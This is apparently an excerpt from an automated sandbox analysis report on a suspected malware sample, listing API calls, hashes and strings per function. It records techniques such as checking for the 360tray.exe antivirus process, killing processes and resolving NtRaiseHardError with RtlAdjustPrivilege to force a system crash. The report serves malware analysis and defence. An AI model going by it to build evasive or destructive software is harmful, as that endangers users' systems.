MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,00000210AE4DA9CD), ref: 00000210AE4DA7C7
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,00000210AE4DA9CD), ref: 00000210AE4DA7EE
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,00000210AE4DA9CD), ref: 00000210AE4DA836
malloc.LIBCMT ref: 00000210AE4DA893

Part of subcall function 00000210AE4D5728: _FF_MSGBANNER.LIBCMT ref: 00000210AE4D5758
Part of subcall function 00000210AE4D5728: RtlAllocateHeap.NTDLL ref: 00000210AE4D577D
Part of subcall function 00000210AE4D5728: _callnewh.LIBCMT ref: 00000210AE4D5796
Part of subcall function 00000210AE4D5728: _errno.LIBCMT ref: 00000210AE4D57A1
Part of subcall function 00000210AE4D5728: _errno.LIBCMT ref: 00000210AE4D57AC

LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,00000210AE4DA9CD), ref: 00000210AE4DA8C8
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,00000210AE4DA9CD), ref: 00000210AE4DA908
free.LIBCMT ref: 00000210AE4DA91C
free.LIBCMT ref: 00000210AE4DA92D

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocateHeap_callnewh
String ID:
API String ID: 1390791636-0
Opcode ID: 439ca01c0b534294e515a0b1220c20a2ada1fbbfb490736fa7cba21e11b63feb
Instruction ID: c27da9cee039579ea0ab8204c70f475965b3f89e3769ce5bfa2f3cab0603541d
Opcode Fuzzy Hash: 439ca01c0b534294e515a0b1220c20a2ada1fbbfb490736fa7cba21e11b63feb
Instruction Fuzzy Hash: 8781A33270478086EB248F6598C83D976E9FF68BA8F744625EB9D53BD4DFB8C5818700

Function 00007FFD94476DD4 Relevance: 15.2, APIs: 10, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000001,00000020,00000021,?,00000000,?,00000000,-0000001F,00007FFD94476244), ref: 00007FFD94476E2A
GetCPInfo.KERNEL32 ref: 00007FFD94476E49
MultiByteToWideChar.KERNEL32 ref: 00007FFD94476EEE
malloc.LIBCMT ref: 00007FFD94476F05
MultiByteToWideChar.KERNEL32 ref: 00007FFD94476F4D
WideCharToMultiByte.KERNEL32 ref: 00007FFD94476F88
WideCharToMultiByte.KERNEL32 ref: 00007FFD94476FC4
WideCharToMultiByte.KERNEL32 ref: 00007FFD94477004
free.LIBCMT ref: 00007FFD94477012
free.LIBCMT ref: 00007FFD94477034

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiWide$Infofree$malloc
String ID:
API String ID: 1309074677-0
Opcode ID: 8a9f3679f922bc2bf2e641086cca12ee3bdbbecdfb0aecb55885090358858430
Instruction ID: 963e562e93c621fa69ae490b8bf0b70971225d779c46cc7cdc573c5e35bf2d96
Opcode Fuzzy Hash: 8a9f3679f922bc2bf2e641086cca12ee3bdbbecdfb0aecb55885090358858430
Instruction Fuzzy Hash: 8661D532B0868186E7348F95A4A017972D2FB867A4F54CA35DA1D87BDECFBCE452C300

Function 00000210AE4CE280 Relevance: 15.1, APIs: 10, Instructions: 121synchronizationsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4C19A0: WSAStartup.WS2_32 ref: 00000210AE4C1A19
Part of subcall function 00000210AE4C19A0: CreateEventA.KERNEL32 ref: 00000210AE4C1A2A

Part of subcall function 00000210AE4C1BF0: ResetEvent.KERNEL32 ref: 00000210AE4C1C2D
Part of subcall function 00000210AE4C1BF0: timeGetTime.WINMM ref: 00000210AE4C1C3F
Part of subcall function 00000210AE4C1BF0: socket.WS2_32 ref: 00000210AE4C1C66

CreateEventA.KERNEL32 ref: 00000210AE4CE32E
setsockopt.WS2_32 ref: 00000210AE4CE383
CancelIo.KERNEL32 ref: 00000210AE4CE38D
closesocket.WS2_32 ref: 00000210AE4CE3A1
SetEvent.KERNEL32 ref: 00000210AE4CE3AE
WaitForSingleObject.KERNEL32 ref: 00000210AE4CE40D
Sleep.KERNEL32 ref: 00000210AE4CE418
WaitForSingleObject.KERNEL32 ref: 00000210AE4CE42B
WaitForSingleObject.KERNEL32 ref: 00000210AE4CE438
Sleep.KERNEL32 ref: 00000210AE4CE44E

Part of subcall function 00000210AE4C1AC0: Sleep.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1ADC
Part of subcall function 00000210AE4C1AC0: CloseHandle.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1AEB
Part of subcall function 00000210AE4C1AC0: CloseHandle.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1AFA
Part of subcall function 00000210AE4C1AC0: CloseHandle.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B0C
Part of subcall function 00000210AE4C1AC0: WSACleanup.WS2_32 ref: 00000210AE4C1B12
Part of subcall function 00000210AE4C1AC0: VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B29
Part of subcall function 00000210AE4C1AC0: VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B4D
Part of subcall function 00000210AE4C1AC0: VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B6F
Part of subcall function 00000210AE4C1AC0: VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1B9C
Part of subcall function 00000210AE4C1AC0: VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1BB7
Part of subcall function 00000210AE4C1AC0: VirtualFree.KERNEL32(?,?,?,00000210AE4C1AA4), ref: 00000210AE4C1BD2

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: FreeVirtual$Event$CloseHandleObjectSingleSleepWait$Create$CancelCleanupResetStartupTimeclosesocketsetsockoptsockettime
String ID:
API String ID: 1609788701-0
Opcode ID: 5be1d2db3d2cf4a8f60e120e3a7be8c171a668c2326ee10cb714a65c25129b90
Instruction ID: 560a0a80d673c7ef6bf6773e23d0851bc4432a67dc9b1653673c7363d4f35573
Opcode Fuzzy Hash: 5be1d2db3d2cf4a8f60e120e3a7be8c171a668c2326ee10cb714a65c25129b90
Instruction Fuzzy Hash: FD518F32610B8085E720DF35E8883DD7764FB99794F640216EB9D47BA5CF78C985C740

Function 00007FFD944738FC Relevance: 15.1, APIs: 10, Instructions: 121COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD9447392B
GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD94473945
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD9447396B
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD944739C0
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD944739FC
free.LIBCMT ref: 00007FFD94473A0A
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD94473A15
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD94473A2D
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD94473A6E
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,?,?,00007FFD94471927), ref: 00007FFD94473A8A

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide$ErrorLastfree
String ID:
API String ID: 994105223-0
Opcode ID: 649314e11dd046272e459de5e21085f2a0f873bd2fd29be637a3aa6bbb7b57ea
Instruction ID: adbf611ca11c48d8599b08cbb2d63612d1b10a5e2c782aeb9d530652ba5e7e32
Opcode Fuzzy Hash: 649314e11dd046272e459de5e21085f2a0f873bd2fd29be637a3aa6bbb7b57ea
Instruction Fuzzy Hash: A7416E72B0969282EA749B91A5A403877A5FB46BC0F14C534C94A13B9FCEBCA592CB00

Function 00000210AE4CF1D0 Relevance: 15.1, APIs: 10, Instructions: 62sleepprocessstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00000210AE4CF1F7
Process32First.KERNEL32 ref: 00000210AE4CF225
lstrcmp.KERNEL32 ref: 00000210AE4CF238
OpenProcess.KERNEL32 ref: 00000210AE4CF24C
TerminateProcess.KERNEL32 ref: 00000210AE4CF25F
CloseHandle.KERNEL32 ref: 00000210AE4CF268
Process32Next.KERNEL32 ref: 00000210AE4CF276
Sleep.KERNEL32 ref: 00000210AE4CF285
CloseHandle.KERNEL32 ref: 00000210AE4CF28E
CloseHandle.KERNEL32 ref: 00000210AE4CF2C5

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandle$ProcessProcess32$CreateFirstNextOpenSleepSnapshotTerminateToolhelp32lstrcmp
String ID:
API String ID: 3983807665-0
Opcode ID: 9a4ad9ec79557f838d5c850d1e15d38df011c5af4594aac11a6b4254f04b6826
Instruction ID: e3413f9ac851429d8555d54969709522d507d1683d711f9bbe7a0d5ba79de9e8
Opcode Fuzzy Hash: 9a4ad9ec79557f838d5c850d1e15d38df011c5af4594aac11a6b4254f04b6826
Instruction Fuzzy Hash: 9F215135305B4482FA60DB21E89C3EA73A9FFACF94F684124DA9A47794DF7DC1858700

Function 00000210AE4D902C Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 00000210AE4D904D

Part of subcall function 00000210AE4D537C: Sleep.KERNEL32(?,?,ceil,00000210AE4D4907,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D53C1

GetFileType.KERNEL32 ref: 00000210AE4D91B8
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00000210AE4D91F6

Strings

@, xrefs: 00000210AE4D92B1

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CountCriticalFileInfoInitializeSectionSleepSpinStartupType
String ID: @
API String ID: 3473179607-2766056989
Opcode ID: 4ef9daa8ef8e328afaa7914443f25a4f1d3113b308b25f51eb380e23cebb4cf6
Instruction ID: 738a9cf3031e2381eb281f69d6b58d24773e628057232e0039cf107c5b3bc731
Opcode Fuzzy Hash: 4ef9daa8ef8e328afaa7914443f25a4f1d3113b308b25f51eb380e23cebb4cf6
Instruction Fuzzy Hash: 64814F72201B8496EB148F25D8D839D3798FB65B74F684728CBB9872D5EFB4C495C300

Function 00000210AE4D5128 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 00000210AE4D5151

Part of subcall function 00000210AE4D9B98: _amsg_exit.LIBCMT ref: 00000210AE4D9BC2

RtlDecodePointer.NTDLL ref: 00000210AE4D5184
RtlDecodePointer.NTDLL ref: 00000210AE4D51A2
RtlDecodePointer.NTDLL ref: 00000210AE4D51E2
RtlDecodePointer.NTDLL ref: 00000210AE4D51FC
RtlDecodePointer.NTDLL ref: 00000210AE4D520C
ExitProcess.KERNEL32 ref: 00000210AE4D5298

Strings

ceil, xrefs: 00000210AE4D5138

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID: ceil
API String ID: 3411037476-3069211559
Opcode ID: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction ID: a2d0939c4fa39dc3e51d15292e170573643a5832ad3a10ac019808128fcc7127
Opcode Fuzzy Hash: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction Fuzzy Hash: 9B412D31211B4082EA50AB51FCD83DD66A9BFA8B94F780425DBCD43BA5EFBDC4D58701

Function 00000210AE4C2AC0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00000210AE4C2AD6

Part of subcall function 00000210AE4D3290: malloc.LIBCMT ref: 00000210AE4D32AA

Process32First.KERNEL32 ref: 00000210AE4C2B0D
lstrcmpi.KERNEL32 ref: 00000210AE4C2B27
Process32Next.KERNEL32 ref: 00000210AE4C2B37
lstrcmpi.KERNEL32 ref: 00000210AE4C2B4C
Process32Next.KERNEL32 ref: 00000210AE4C2B5C
CloseHandle.KERNEL32 ref: 00000210AE4C2B73

Strings

360tray.exe, xrefs: 00000210AE4C2B17, 00000210AE4C2B41

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Process32$Nextlstrcmpi$CloseCreateFirstHandleSnapshotToolhelp32malloc
String ID: 360tray.exe
API String ID: 2114354-563812762
Opcode ID: 0a80cdac67bdaee33adcad855c3420713f87a426b057a216acdd1655a8540214
Instruction ID: 00408282764c8017a5a1cd73bc0972dcb512a699b84b4bb220c4a9c37b7ff522
Opcode Fuzzy Hash: 0a80cdac67bdaee33adcad855c3420713f87a426b057a216acdd1655a8540214
Instruction Fuzzy Hash: 82211032715B4081EB549F26A8982E963A9BFA8F80F6D5021DB8A47794EFB8C5C5C704

Function 00007FFD9447455C Relevance: 13.8, APIs: 11, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 00007FFD944745A8

Part of subcall function 00007FFD94471EA8: HeapFree.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471EBE
Part of subcall function 00007FFD94471EA8: _errno.LIBCMT ref: 00007FFD94471EC8
Part of subcall function 00007FFD94471EA8: GetLastError.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471ED0

Part of subcall function 00007FFD94475EC4: free.LIBCMT ref: 00007FFD94475EE2
Part of subcall function 00007FFD94475EC4: free.LIBCMT ref: 00007FFD94475EF4
Part of subcall function 00007FFD94475EC4: free.LIBCMT ref: 00007FFD94475F06
Part of subcall function 00007FFD94475EC4: free.LIBCMT ref: 00007FFD94475F18
Part of subcall function 00007FFD94475EC4: free.LIBCMT ref: 00007FFD94475F2A
Part of subcall function 00007FFD94475EC4: free.LIBCMT ref: 00007FFD94475F3C
Part of subcall function 00007FFD94475EC4: free.LIBCMT ref: 00007FFD94475F4E

free.LIBCMT ref: 00007FFD944745CA
free.LIBCMT ref: 00007FFD944745E2
free.LIBCMT ref: 00007FFD944745EE
free.LIBCMT ref: 00007FFD94474612
free.LIBCMT ref: 00007FFD94474626
free.LIBCMT ref: 00007FFD94474635
free.LIBCMT ref: 00007FFD94474641
free.LIBCMT ref: 00007FFD9447466E
free.LIBCMT ref: 00007FFD94474696
free.LIBCMT ref: 00007FFD944746B0

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: ec6fb349a9666d6148de3cae72c985ac2d52e64e79120cbf47aff892940f3c04
Instruction ID: 4853f8c6e5bcc619c3ec388a73f334d0a4965e1acc4eadeff5c5a18745cd8ed4
Opcode Fuzzy Hash: ec6fb349a9666d6148de3cae72c985ac2d52e64e79120cbf47aff892940f3c04
Instruction Fuzzy Hash: E841EC32F0954285FF759EA5C4E13BC23A0AF86B55F54C436DA0D0B69ECFACA892C750

Function 00007FFD94476038 Relevance: 13.7, APIs: 9, Instructions: 173COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStringTypeW.KERNEL32 ref: 00007FFD94476098
GetLastError.KERNEL32 ref: 00007FFD944760AA
MultiByteToWideChar.KERNEL32 ref: 00007FFD9447610A
malloc.LIBCMT ref: 00007FFD94476176
MultiByteToWideChar.KERNEL32 ref: 00007FFD944761C0
GetStringTypeW.KERNEL32 ref: 00007FFD944761D7
free.LIBCMT ref: 00007FFD944761E8
GetStringTypeA.KERNEL32 ref: 00007FFD94476265
free.LIBCMT ref: 00007FFD94476275

Part of subcall function 00007FFD94476DD4: GetCPInfo.KERNEL32(00000001,00000020,00000021,?,00000000,?,00000000,-0000001F,00007FFD94476244), ref: 00007FFD94476E2A
Part of subcall function 00007FFD94476DD4: GetCPInfo.KERNEL32 ref: 00007FFD94476E49
Part of subcall function 00007FFD94476DD4: MultiByteToWideChar.KERNEL32 ref: 00007FFD94476F4D
Part of subcall function 00007FFD94476DD4: WideCharToMultiByte.KERNEL32 ref: 00007FFD94476F88

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiWide$StringType$Infofree$ErrorLastmalloc
String ID:
API String ID: 3804003340-0
Opcode ID: 26459957d169a573dad3e4f19c6aa1708df1c6695df73bb3314daeed5864d62d
Instruction ID: a109a219a61be15e959261eb896a9f7326f70adba85559957d498b80376ec856
Opcode Fuzzy Hash: 26459957d169a573dad3e4f19c6aa1708df1c6695df73bb3314daeed5864d62d
Instruction Fuzzy Hash: C561C832B0868186E7709FA1E4944686796FB467F4B14C235DB1D97B8ECFBCE842C740

Function 00000210AE4C2F20 Relevance: 13.6, APIs: 9, Instructions: 99threadCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00000210AE4C2F37
GetWindowThreadProcessId.USER32 ref: 00000210AE4C2F63
GetCurrentProcessId.KERNEL32 ref: 00000210AE4C2F6B
GetCurrentThreadId.KERNEL32 ref: 00000210AE4C2F77
GetWindowTextA.USER32 ref: 00000210AE4C2F8D
InternalGetWindowText.USER32 ref: 00000210AE4C2FD6
WideCharToMultiByte.KERNEL32 ref: 00000210AE4C2FFA
WideCharToMultiByte.KERNEL32 ref: 00000210AE4C3021
GetWindowTextA.USER32 ref: 00000210AE4C306C

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Window$Text$ByteCharCurrentMultiProcessThreadWide$Internal
String ID:
API String ID: 3111847906-0
Opcode ID: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction ID: 78528a3886262b27bdffe8bfe38fd8606fde1aff03fb9a6a909519a92fadc6a5
Opcode Fuzzy Hash: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction Fuzzy Hash: A031A57270574086FB509F26B88829A6299FBD9BD4F780134EFD647B98DF78C4858704

Function 00007FFD94472F98 Relevance: 13.6, APIs: 9, Instructions: 98COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 00007FFD94472FC1
DecodePointer.KERNEL32 ref: 00007FFD94472FF4
DecodePointer.KERNEL32 ref: 00007FFD94473011
DecodePointer.KERNEL32 ref: 00007FFD94473050
DecodePointer.KERNEL32 ref: 00007FFD94473069
DecodePointer.KERNEL32 ref: 00007FFD94473078
_initterm.LIBCMT ref: 00007FFD944730B7
_initterm.LIBCMT ref: 00007FFD944730CA
ExitProcess.KERNEL32 ref: 00007FFD94473103

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: DecodePointer$_initterm$ExitProcess_lock
String ID:
API String ID: 2551688548-0
Opcode ID: 3f393191ff7132b82605170a0d68747c83baec95cf735867bc3b8e2c236a69ff
Instruction ID: ed159d7b2e384fd2c16aa6a85e03c874c9b2cff297374d9574e5dfe9c45e309b
Opcode Fuzzy Hash: 3f393191ff7132b82605170a0d68747c83baec95cf735867bc3b8e2c236a69ff
Instruction Fuzzy Hash: 78417C31B1AA4280E6709B91E8E01396294FF8A784F44C135EA4D037AFDFBDE587C700

Function 00007FFD94475EC4 Relevance: 13.5, APIs: 7, Strings: 2, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 00007FFD94475EE2

Part of subcall function 00007FFD94471EA8: HeapFree.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471EBE
Part of subcall function 00007FFD94471EA8: _errno.LIBCMT ref: 00007FFD94471EC8
Part of subcall function 00007FFD94471EA8: GetLastError.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471ED0

free.LIBCMT ref: 00007FFD94475EF4
free.LIBCMT ref: 00007FFD94475F06
free.LIBCMT ref: 00007FFD94475F18
free.LIBCMT ref: 00007FFD94475F2A
free.LIBCMT ref: 00007FFD94475F3C
free.LIBCMT ref: 00007FFD94475F4E

Strings

RegOpenKeyExW, xrefs: 00007FFD94475F0B
eyExW, xrefs: 00007FFD94475EF9

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID: RegOpenKeyExW$eyExW
API String ID: 1012874770-580866691
Opcode ID: 42714ae5091cc8e33b7dd91adb6649ecb0b1f37723d2c6cbb2a3c539c6f1b40a
Instruction ID: cfc523faad928dc15474e4440212f3ec938d68ad9500dcfd4f987f39af0fedd7
Opcode Fuzzy Hash: 42714ae5091cc8e33b7dd91adb6649ecb0b1f37723d2c6cbb2a3c539c6f1b40a
Instruction Fuzzy Hash: 2E015233F1840291FBB4DBE1D4F24781361AF86745F58C532D50E9BA9BCEE8E882C251

Function 00000210AE4CE723 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000210AE4CE72A
GetProcAddress.KERNEL32 ref: 00000210AE4CE73A
GetModuleHandleA.KERNEL32 ref: 00000210AE4CE74A
GetProcAddress.KERNEL32 ref: 00000210AE4CE75A

Strings

NtRaiseHardError, xrefs: 00000210AE4CE750
RtlAdjustPrivilege, xrefs: 00000210AE4CE730
ntdll.dll, xrefs: 00000210AE4CE723, 00000210AE4CE740

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtRaiseHardError$RtlAdjustPrivilege$ntdll.dll
API String ID: 1646373207-3189222469
Opcode ID: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction ID: a41493af837e75498776fb0732553039e36ac197d6d18ba809bc98cca0eb8adc
Opcode Fuzzy Hash: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction Fuzzy Hash: 2C011D32614B5682EF10DBA5F498AE56365FFA8798F541011DB8D07724DEB8C589CB00

Function 00000210AE4D1D10 Relevance: 12.1, APIs: 8, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,00000210AE4CE182), ref: 00000210AE4D1D50
